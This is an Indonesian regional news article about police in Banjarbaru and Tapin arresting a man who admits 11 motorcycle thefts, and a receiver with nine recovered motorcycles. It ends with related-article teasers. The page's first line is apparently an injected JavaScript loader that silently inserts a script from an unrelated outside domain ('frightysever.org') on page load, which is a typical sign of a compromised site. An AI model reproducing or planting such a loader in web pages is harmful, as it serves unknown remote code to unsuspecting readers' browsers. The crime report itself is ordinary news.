(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tim Gabungan Unit Resmob Polres Banjarbaru, Resmob Tapin dan Polsek Binuang mengejar pelaku pencurian kendaraan bermotor (Curanmor) yang diketahui berada di wilayah Binuang Kabupaten Tapin, Minggu (12/5).
Panit I Reskrim, Ipda Alhamidie, mengatakan sebelumnya mendapatkan informasi ada pelaku sedang menggunakan ranmor yang diduga hasil curian pada tanggal 10 Mei 2019 dengan jenis Yamaha Vixion warna ungu sedang berada di daerah Binuang.
“Sesampainya di sana kami berkoordinasi dan bergerak bersama-sama untuk mencari pelaku, dan akhirnya tim gabungan pun berhasil menangkap pelaku atas nama Susilo (36) warga Binuang, Kabupaten Tapin,” ujarnya.
Dijelaskan juga, pelaku ditangkap saat sedang mencuci motor tersebut di salah satu tempat pencucian di Binuang. Pelaku pun mengakui bahwa telah melakukan pencurian sepeda motor sebanyak 11 kali di Banjarbaru dan menjualnya kepada AF (25) warga Desa Tatakan, Kabupaten Tapin. Tidak menyia-menyiakan informasi tersebut, tim gabungan pun berhasil mengamankan AF beserta 9 unit Ranmor roda dua berbagai macam merk.
Kasat Reskrim Polres Banjarbaru AKP Aryansyah menjelaskan, dari pengakuan tersangka, aksinya tersebut telah dilakukan di 11 TKP di Kota Banjarbaru dengan modus mencari kelengahan pemilik yang meninggalkan kunci yang tergantung di sepeda motornya.
“Kami dapat mengamankan total 9 unit roda dua hasil curian pelaku yaitu 3 unit Honda Scoopy, 2 unit Yamaha Mio, 1 unit Honda Supra X 125, 1 unit Suzuki Shogun, 1 unit Honda Vario, dan 1 Yamaha Vixion dan masih ada lagi 2 unit roda dua lainnya yang masih dalam pencarian,” beber Kasat Reskrim Polres Banjarbaru.
Tersangka beserta barang bukti diamankan guna proses penyidikan selanjutnya. Tersangka Curanmor yang dikdiketi melakukan pencurian tunggal ini disangkakan dengan Pasal 362 KUHP dengan ancaman hukuman 5 (lima) tahun penjara dan ditambah 1/3 lagi dari ancaman penjara karena berulang, sementara penadah kami sangkakan dengan Pasal 480 KUHP yang diancam pidana penjara selama-lamanya 4 tahun. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.